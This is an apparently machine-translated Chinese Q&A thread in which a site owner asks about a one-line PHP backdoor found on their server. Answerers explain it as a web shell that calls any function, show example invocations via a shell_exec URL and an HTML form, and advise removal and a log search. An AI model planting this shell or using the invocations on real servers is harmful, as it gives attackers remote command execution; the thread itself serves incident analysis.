Php 找到了黑客留下的代码,但don';我不明白它是干什么的

Php 找到了黑客留下的代码,但don';我不明白它是干什么的,php,security,deobfuscation,cracking,Php,Security,Deobfuscation,Cracking,我在我的一个PHP文件中发现了黑客留下的一行脚本。它是这样写的: <?php ($_=@$_GET[2]).@$_($_POST[1]); ?> $_=@$_GET[2]; @$_($_POST[1]); 有人能给我一些关于这行代码的提示吗?谢谢你我已经把它作为一条评论发布了,因为这个问题被搁置了,现在作为答案: 这是一个PHP外壳。如果将其重写为,URLfile.php?2=shell\u exec&1=whoami将在shell上执行命令whoami。在您的示例中,一

我在我的一个PHP文件中发现了黑客留下的一行脚本。它是这样写的:

<?php

($_=@$_GET[2]).@$_($_POST[1]);

?>
$_=@$_GET[2];
@$_($_POST[1]);


有人能给我一些关于这行代码的提示吗?谢谢你

我已经把它作为一条评论发布了,因为这个问题被搁置了,现在作为答案:


这是一个PHP外壳。如果将其重写为
,URL
file.php?2=shell\u exec&1=whoami
将在shell上执行命令
whoami
。在您的示例中,一个参数通过POST传递,一个通过GET传递。所以打电话有点难

您还可以使用它调用其他函数。第一个参数始终是函数名,第二个参数是被调用函数的参数

显然,它在()中有解释,但该站点没有为我加载


/编辑:如果你有权访问服务器日志文件,你可以搜索它们,看看黑客是否使用了这个外壳。shell上的一个简单的
egrep”(&| \?)2=.+“日志*
应该可以工作。您只看到执行的命令的一半(只有GET,而不是POST),但这可能有助于查看攻击者是否实际使用了其脚本。

正如Reeno在评论中所说的,它就像一个PHP shell

解释
  • 将带有键“2”的GET变量存储在名为
    $\ucode>的变量中。由于PHP的弱类型特性,我们不需要在数字周围加引号

    $_=@$_GET[2]
    
  • $\u
    视为可调用的函数名,并以
    $\u POST[1]
    作为第一个参数执行它

    @$_($_POST[1])
    
@
运算符应禁止错误记录,请参阅

两条语句之间的连接运算符实际上并不重要。可以这样重写:

<?php

($_=@$_GET[2]).@$_($_POST[1]);

?>
$_=@$_GET[2];
@$_($_POST[1]);

用例 调用任意函数。我不会提及成功攻击的特定HTTP头,但这对每个(web)程序员来说都相当容易。

首先,您必须尽快删除这些行。 此代码用于调用PHP函数。举个例子,黑客会使用这种形式:

<form method="post" action="http://site.com/page.php?2=shell_exec">
    <input name="1" value="ipconfig -all"/>
    <input type="submit" value="Send"/>
</form>

通过对的简单调用。

错误被抑制..?这用于通过简单URL调用PHP函数。必须尽快删除。这是一个PHP外壳。如果将其重写为
,URL
file.php?1=shell\u exec&2=whoami
将在shell上执行命令
whoami
。在您的示例中,一个参数是通过POST传递的,一个是通过GET传递的。一般来说,不值得询问被黑客攻击的代码是做什么的;它通常是模糊的,而且总是做一些令人讨厌的事情。首先要做的是把它移走;恢复备份并确保已为您使用的任何第三方软件安装了所有可用的安全修补程序。如果你想在这上面花更多的时间,那就花点时间研究如何避免再次被黑客攻击,而不是研究黑客到底在干什么。@Spudley事实上,找出代码的作用是非常有帮助的。如果你被一个脚本小子攻击了,你可以pwn这个pwnr。了解代码的功能也非常有用,这样可以减轻攻击造成的伤害。在这种情况下,我们知道攻击者正在执行shell命令。。。他可能升级到uid=0。它使用get参数,而不是post。